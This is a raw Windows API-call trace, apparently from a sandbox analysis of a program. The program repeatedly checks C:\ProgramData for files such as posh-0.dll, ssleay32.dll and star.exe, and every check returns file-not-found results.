lpFileName="c:\\ProgramData\\posh-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.237] GetLastError () returned 0x2 [0092.237] CharLowerBuffW (in: lpsz="c:\\ProgramData\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0092.237] CharLowerBuffW (in: lpsz="c:\\programdata\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0092.237] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.237] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.237] GetLastError () returned 0x12 [0092.237] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.237] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\posh-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.237] GetLastError () returned 0x2 [0092.237] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\posh-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\posh-0.dll") returned 0x16 [0092.237] CharLowerBuffW (in: lpsz="EVB86572.TMP", cchLength=0xc | out: lpsz="evb86572.tmp") returned 0xc [0092.237] FindFirstFileW (in: lpFileName="c:\\programdata\\evb86572.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A翴uA((")) returned 0xffffffff [0092.238] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.238] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\") returned 0x2f [0092.238] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\") returned 0x2c [0092.238] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.238] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.238] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.238] CharLowerBuffW (in: lpsz="ssleay32.dll", cchLength=0xc | out: lpsz="ssleay32.dll") returned 0xc [0092.238] CharLowerBuffW (in: lpsz="c:\\programdata\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0092.238] CharLowerBuffW (in: lpsz="c:\\programdata\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0092.238] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.238] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.238] GetLastError () returned 0x12 [0092.238] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.238] FindFirstFileW (in: lpFileName="c:\\ProgramData\\ssleay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.238] GetLastError () returned 0x2 [0092.238] CharLowerBuffW (in: lpsz="c:\\ProgramData\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0092.238] CharLowerBuffW (in: lpsz="c:\\programdata\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0092.239] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.239] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.239] GetLastError () returned 0x12 [0092.239] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.239] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\ssleay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.239] GetLastError () returned 0x2 [0092.239] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\ssleay32.dll", cchLength=0x18 | out: lpsz="c:\\progra~3\\ssleay32.dll") returned 0x18 [0092.239] CharLowerBuffW (in: lpsz="EVBEF7ED.TMP", cchLength=0xc | out: lpsz="evbef7ed.tmp") returned 0xc [0092.239] FindFirstFileW (in: lpFileName="c:\\programdata\\evbef7ed.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A疌uA((")) returned 0xffffffff [0092.239] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.239] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\", cchLength=0x31 | out: lpsz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\") returned 0x31 [0092.239] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\", cchLength=0x2e | out: lpsz="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\") returned 0x2e [0092.239] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.239] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.239] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.239] CharLowerBuffW (in: lpsz="star.exe", cchLength=0x8 | out: lpsz="star.exe") returned 0x8 [0092.240] CharLowerBuffW (in: lpsz="c:\\programdata\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0092.240] CharLowerBuffW (in: lpsz="c:\\programdata\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0092.240] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.240] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.240] GetLastError () returned 0x12 [0092.240] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.240] FindFirstFileW (in: lpFileName="c:\\ProgramData\\star.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.240] GetLastError () returned 0x2 [0092.240] CharLowerBuffW (in: lpsz="c:\\ProgramData\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0092.240] CharLowerBuffW (in: lpsz="c:\\programdata\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0092.240] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.240] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.240] GetLastError () returned 0x12 [0092.240] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.240] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\star.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.241] GetLastError () returned 0x2 [0092.241] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\star.exe", cchLength=0x14 | out: lpsz="c:\\progra~3\\star.exe") returned 0x14 [0092.241] CharLowerBuffW (in: lpsz="EVBBCDA2.TMP", cchLength=0xc | out: lpsz="evbbcda2.tmp") returned 0xc [0092.241] FindFirstFileW (in: lpFileName="c:\\programdata\\evbbcda2.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A腼uA((")) returned 0xffffffff [0092.241] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.241] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\star.exe\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\star.exe\\") returned 0x2d [0092.241] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\star.exe\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\star.exe\\") returned 0x2a [0092.241] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.241] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.241] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.241] CharLowerBuffW (in: lpsz="star.fb", cchLength=0x7 | out: lpsz="star.fb") returned 0x7 [0092.241] CharLowerBuffW (in: lpsz="c:\\programdata\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0092.241] CharLowerBuffW (in: lpsz="c:\\programdata\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0092.241] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.241] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.241] GetLastError () returned 0x12 [0092.241] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.242] FindFirstFileW (in: lpFileName="c:\\ProgramData\\star.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.242] GetLastError () returned 0x2 [0092.242] CharLowerBuffW (in: lpsz="c:\\ProgramData\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0092.242] CharLowerBuffW (in: lpsz="c:\\programdata\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0092.242] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.242] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.242] GetLastError () returned 0x12 [0092.242] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.242] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\star.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.242] GetLastError () returned 0x2 [0092.242] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\star.fb", cchLength=0x13 | out: lpsz="c:\\progra~3\\star.fb") returned 0x13 [0092.242] CharLowerBuffW (in: lpsz="EVB631B4.TMP", cchLength=0xc | out: lpsz="evb631b4.tmp") returned 0xc [0092.242] FindFirstFileW (in: lpFileName="c:\\programdata\\evb631b4.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A腼uA((")) returned 0xffffffff [0092.243] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.243] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\star.fb\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\star.fb\\") returned 0x2c [0092.243] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\star.fb\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\star.fb\\") returned 0x29 [0092.243] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.243] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.243] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.243] CharLowerBuffW (in: lpsz="star.xml", cchLength=0x8 | out: lpsz="star.xml") returned 0x8 [0092.243] CharLowerBuffW (in: lpsz="c:\\programdata\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0092.243] CharLowerBuffW (in: lpsz="c:\\programdata\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0092.243] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.243] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.243] GetLastError () returned 0x12 [0092.243] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.243] FindFirstFileW (in: lpFileName="c:\\ProgramData\\star.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.243] GetLastError () returned 0x2 [0092.243] CharLowerBuffW (in: lpsz="c:\\ProgramData\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0092.243] CharLowerBuffW (in: lpsz="c:\\programdata\\star.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\star.xml") returned 0x17 [0092.243] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.244] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.244] GetLastError () returned 0x12 [0092.244] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.244] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\star.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.244] GetLastError () returned 0x2 [0092.244] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\star.xml", cchLength=0x14 | out: lpsz="c:\\progra~3\\star.xml") returned 0x14 [0092.244] CharLowerBuffW (in: lpsz="EVB8F8B0.TMP", cchLength=0xc | out: lpsz="evb8f8b0.tmp") returned 0xc [0092.244] 